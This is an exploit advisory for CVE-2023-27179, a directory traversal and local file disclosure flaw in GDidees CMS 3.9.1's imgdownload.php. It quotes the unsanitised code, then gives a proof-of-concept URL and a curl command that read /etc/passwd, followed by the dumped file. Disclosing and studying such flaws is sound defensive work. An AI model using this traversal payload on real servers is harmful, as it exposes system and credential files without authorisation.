GDidees CMS 3.9.1 Local File Disclosure / Directory Traversal

# Exploit Title: GDidees CMS - 'imgdownload.php' Local File Disclosure# Date : 03/27/2023# Exploit Author : Hadi Mene# Vendor Homepage : https://www.gdidees.eu/# Software Link : https://www.gdidees.eu/cms-1-0.html# Version : 3.9.1 and earlier # Tested on : Debian 11 # CVE : CVE-2023-27179### Summary:GDidees CMS v3.9.1 and lower versions was discovered to contain an local file disclosure vulnerability via the filename parameter at /_admin/imgdownload.php.### Description :Imgdownload.php is mainly used by the QR code generation module to download an QR code. The vulnerability occurs in line 4 where the filename parameter which will be opened later is not filtered or sanitized.Furthermore, there is no admin session check in this code as it should since only the admin user should normallybe able to download QR code.Vulnerable Code :3. if (isset($_GET["filename"])) {4.        $filename=$_GET["filename"];    .....          .....27. @readfile($filename) OR die();### POC :URL : https://[GDIDEESROOT]/_admin/imgdownload.php?filename=../../../../../../etc/passwdExploitation using curl # curl http://192.168.0.32/cmsgdidees3.9.1-mysqli/_admin/imgdownload.php?filename=../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinntp:x:104:110::/nonexistent:/usr/sbin/nologinmessagebus:x:105:111::/nonexistent:/usr/sbin/nologinuuidd:x:106:112::/run/uuidd:/usr/sbin/nologinpulse:x:107:115:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologinlightdm:x:108:117:Light Display Manager:/var/lib/lightdm:/bin/falsehadi:x:1000:1000:hadi,,,:/home/hadi:/bin/bashsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinvboxadd:x:998:1::/var/run/vboxadd:/bin/falseopenldap:x:109:118:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/falsesshd:x:110:65534::/run/sshd:/usr/sbin/nologinmysql:x:111:120:MySQL Server,,,:/nonexistent:/bin/false### References:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27179https://nvd.nist.gov/vuln/detail/CVE-2023-27179https://www.exploit-db.com/papers/12883